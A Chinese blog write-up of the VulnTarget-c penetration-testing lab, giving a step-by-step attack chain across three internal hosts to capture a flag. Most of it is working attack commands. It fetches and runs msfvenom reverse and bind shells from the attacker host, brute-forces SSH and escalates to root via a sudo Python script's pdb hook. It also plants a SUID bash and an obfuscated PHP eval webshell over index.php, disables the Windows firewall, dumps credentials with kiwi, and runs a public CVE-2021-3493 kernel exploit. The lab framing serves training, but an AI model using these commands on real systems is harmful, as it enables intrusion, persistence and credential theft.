VulnTarget-c

实验目标:拿取Ubuntu 16主机的Flag信息
学习目标:Laravel/OVAS-PHP漏洞/隧道代理/免杀/提权/CVE-2021-3129/CVE-2021-3493等
靶机下载:其中vulntarget-c为本次实验机器

百度云:
链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码:1p9p

》》》靶机信息《《《

#攻击机
OS:Kali
NIC:10.30.7.56

#Ubuntu-Server
OS:Ubuntu 20
Server:Laravel 8.4.2
userpass:root/root#qwe
userpass:vulntarget/root
NIC1:10.30.7.55   -->桥接模式网卡
NIC2:10.0.20.141  -->仅主机模式网卡

#Wins16-Server
OS:Windows server 2016
Server:OVAS-PHP CMS
userpass:administrator:Admin#123
NIC1:10.0.20.100   -->仅主机模式网卡
NIC2:10.0.10.139    -->仅主机模式网卡

#Ubuntu16-Server
OS:Ubuntu 16
userpass:vulntarget:Admin#123
NIC1:10.0.10.110

一:边界主机

0x00:信息收集

步骤一:开始外网打点使用Nmap扫描目标主机…发现只开启22端口与80端口

nmap 10.30.7.55

image.png
步骤二:根据以上测试结果访问目标80端口发现为Laravel框架…这味道很熟悉.查看版本号且存在CVE-2021-3129漏洞下载以下项目攻击到Kali攻击机…

git clone https://github.com/SNCKER/CVE-2021-3129
cd CVE-2021-3129
git clone https://github.com/ambionics/phpggc.git(exp执行需要使用此工具)

image.png

0x01:漏洞攻击

步骤四:修改项目中exploit.py文件将main()函数中的Exp()函数接受参数修改为目标站点地址与要执行的命令…发现当前权限为www-data低权限…

#修改位置
def main():
    Exp("http://10.30.7.55/", "whoami")
#执行命令
python exploit.py

image.png
步骤五:使用MSF生成Linux反向木马并开启HTTP服务器,执行以下命令将木马下载到目标机器并上线MSF…失败

#生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.56 lport=1234 -f elf -o 1234.elf
#MSF开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.30.7.56
set lport 1234
run
#开启HTTP服务器
python2 -m SimpleHTTPServer 8080
#修改exploit.py文件
wget http://10.30.7.56:8080/1234.elf&&chmod 777 1234.elf&&./1234.elf
#执行命令
python exploit.py

image.png
步骤六:以上操作未反弹回Shell在脚本中执行命令发现程序下载目录未根目录…这里通过FireFox插件Wappalyzer查看到中间件为Apache且拉取到laravel的容器站点存放在public目录下,可尝试将后门下载站点目录赋予权限反弹Shell…成功

cd /var/www/html/public&&wget http://10.30.7.56:8080/1234.elf&&chmod 777 1234.elf&&./1234.elf

image.png
image.png

0x02:权限提升

步骤七:使用以下模块扫描可提权的漏洞模块…挨个测试后提权失败…

run post/multi/recon/local_exploit_suggester

image.png
步骤八:进入目标主机查看/home目录下存在vulntarget用户尝试使用Hydra进行SSH爆破…得到密码root

hydra -l vulntarget -P password 10.30.7.55

image.png
步骤九:SSH登录目标主机尝试SUID提权未果…尝试SUDO提权查看哪些文件是可以使用root权限执行的,回显的/opt/root.py文件比较可疑…

#SUID查找
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
#SUDO查找
sudo -l

image.png
image.png
步骤十:简单阅读代码发现运行脚本会在本地的1025-65535端口上开启一个socket接口且密码是mortals登录成功后根据选项给出响应的回显如果有错误的输入在异常处理处打印异常且调用pdb模块…此时进入到调式模块下在此模块中可导入OS模块来执行系统命令完成提权…

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'mortals':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
        except Exception as e:
                print(e)
                pdb.post_mortem(e.__traceback__)
        finally:
    quit()                         

步骤十一:在vulntarget用户的Shell下运行此python文件并得到随机监听的端口,另启一个SSH链接使用NC对以上得到的接口做链接…输入密码,输入字母报错回到第一个SSH链接中即可导入OS模块来执行命令完成提权…

SSH1:
sudo python3 root.py

SSH2:
nc localhost randomport
mortals
a

SSH1:
import os
os.system("whoami")

image.png
image.png

0x03:权限维持

步骤十二:执行以下命令赋予用户的Shell为SUID权限一次来为维权…调用具有SUID Shell

import os
os.system("chmod u+s /bin/bash")
bash -p

image.png
步骤十三:再次生成Linux反向木马上传至目标并执行反弹回高权限的Shell…查看并添加路由信息…

#Kali操作
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.56 lport=4321 -f elf -o 4321.elf
Pyhont2 -m SimpleHTTPServer 8080

#Ubuntu 20操作
wget http://10.30.7.56:8080/4321.elf
chmod 777 4321.elf
./4321.elf

#meterpreter操作
getuid
run post/multi/manage/autoroute

image.png

二:二层内网

0x00:信息收集

步骤一:进入Shell中进行信息收集发现存在另一块通往其他网段的网卡并调用MSF对内网主机进行扫描…在此之前需要用以下两条命令在反弹回来的Meterpreter会话中添加通往内网的路由信息…

meterpreter>run post/multi/manage/autoroute  #添加路由
meterpreter>run autoroute -p    #查看路由
use auxiliary/scanner/portscan/tcp
set rhost 10.0.20.0/24
set ports 21,22,80,135,139,445,8080
set threads 30
run

image.png
image.png
步骤二:发现内网主机10.0.20.100开放80端口,在MSF上架设socks5代理服务器并使Firefox通过代理访问该站点…

use auxiliary/server/socks_proxy
run

image.png
步骤三:在右上角有Admin Login按钮点击可进入后台登录页面,在此可配置BP的SOCKS5代理进行抓包爆破
image.png

0x01:漏洞攻击

步骤四:按照以下抓包思路即可抓取是内网站点的HTTP数据包

#代理流程
Browser<--->BurpSuite<--->Socks Proxy Server<--->WebSite
#步骤设置
1.开启BurpSuite进入ProjectOptions选中SOCKS Proxy
2.勾选Override user options并且填写Use SOCKS proxy下的host与port为MSF开启的代理地址与端口
3.回到火狐浏览器设置BP代理为HTTP类型的127.0.0.1:8080与MSF的SOCKS5类型代理
4.先挂MSF的代理访问站点到用户登录界面要抓取的数据包,在挂BP的代理且在BP的Proxy模块开启监听
5.此时已经设置了浏览器的数据走BP,而BP抓到的数据走SOCKS5代理,抓取登陆请求的HTTP数据包...
注:此种方式也可隐藏自身IP地址...

image.png
image.png
image.png
步骤五:成功爆破出账户密码admin:admin123且成功登录到后台,经验所得MSF开启的代理问题还是很多直接部署FRP…获取代理

#frps.ini
[common]
bind_port = 7002

#frpc.ini
[common]
server_addr = 10.30.7.56  -->Kali IP地址
server_port = 7002

[plugin_socks]
type = tcp
remote_port = 7777    --->Socks5端口
plugin = socks5

#Command Code
Kali:./frps -c frps.ini
Ubuntu 20:./frpc -c frpc.ini

【成功如下图片】
image.png
image.png
image.png
步骤六:该OVAS CMS后台存在SQL注入,在此后台页面点击Inquiries–>Action–>View使用BP抓取到数据包且保存到本地文件中…

GET /admin/inquiries/view_details.php?id=1 HTTP/1.1
Host: 10.0.20.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://10.0.20.100/admin/?page=inquiries
Cookie: PHPSESSID=s6rsppk3u30g2ea7a9rlsvpi2i

image.png
步骤七:使用SQLMAP对其抓取的HTTP请求包进行SQL注入测试…发现存在SQL注入

sqlmap -r sqlinjection.txt --proxy=socks5://10.30.7.56:7777 --batch

image.png

0x02:GetShell

步骤八:在该SQL注入点获取OS Shell并写入一句话木马…将一句话木马替换到index.php文件中

#判断是否BDA
sqlmap -r sqlinjection.txt --proxy=socks5://10.30.7.56:7777 --batch --is-dba
#获取交互式Shell
sqlmap -r sqlinjection.txt --proxy=socks5://10.30.7.56:7777 --batch --os-shell
#写入免杀一句话木马
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php
#替换index.php文件
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > index.php

image.png
image.png
image.png
步骤九:给蚁剑设置代理并添加以下数据添加…

http://10.0.20.100/admin/?page=inquiries | d

1658368873614.jpg
image.png

0x03:上线MSF

步骤十:使用MSF生成正向马并作简单的加壳免杀,通过蚁剑上传且关闭防火墙后执行正向链接得到Shell…

#生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=6069 -f exe > insec.exe

#防火墙操作
netsh advfirewall show allprofile state      //查看防火墙状态
netsh advfirewall set  allprofile state off  //关闭防火墙

#监听链接
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6069
set rhost 10.0.20.100
run

image.png
1658372038659.jpg
步骤十一:信息收集…发现还存在通往内网的网卡且破解出管理员的密码…开启目标机器的RDP服务

#执行命令
systeminfo
ipconfig /all
load kiwi
creds_all   ——>   dfc8d2bfa540a0a6e2248a82322e654e Admin#123
run getgui -e
netstat -an | findstr 3389   
tasklist /svc ——>   MsMpEng.exe <=> Windows Defender

#收集信息
OS:Wins16
NIC1:10.0.20.100/24
NIC2:10.0.10.139/24
username:administraotr
password:Admin#123
RDP Port:3389

image.png
image.png
image.png
步骤十二:添加路由并扫描10.0.10.0网段的机器…发现主机10.0.10.110存活…

#添加路由信息
run post/multi/manage/autoroute
#扫描内网存活主机
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.10.0/24
set ports 22,23,80,443,8080,445,3306,6378,113,114,81,8000
set threads 30
run

image.png

三:三层内网

步骤一:使用以上抓取破解出的账户密码远程登录到内网Windows主机上…进行一番探索

#代理配置
vi /etc/proxychains4.conf
socks5 127.0.0.1 7777
#桌面链接
proxychains rdesktop 10.0.20.100

image.png
步骤二:在下方看到MobaXterm打开后需要输入密码使用本机管理员密码登录成功…且存在一Linux主机为上面扫描出来的内网机器,点开后为vulntarget普通用户登录
image.png
步骤三:根据Linux内核版本尝试提权,将提权项目下载至本地并编译好上传至Wins16在拖进LinuxShell中执行之后即可提权成功…获取Flag

#uname -a 
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

#项目地址
https://github.com/briskets/CVE-2021-3493

#执行命令
gcc exploit.c -o exploit
./exploit

#flag内容
vulntarget{cve_2021_3493_local_privilege_promotion_overlayfs

image.png

参考文章:

https://cloud.tencent.com/developer/article/1954751
https://www.pudn.com/news/625e2334d9b6ce52bd34834c.html#Options_218
https://www.csdn.net/tags/OtTaQg3sMzcyNzAtYmxvZwO0O0OO0O0O.html
https://blog.csdn.net/qq_41741127/article/details/120615908
https://xw.qq.com/cmsid/20211121A000F200
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值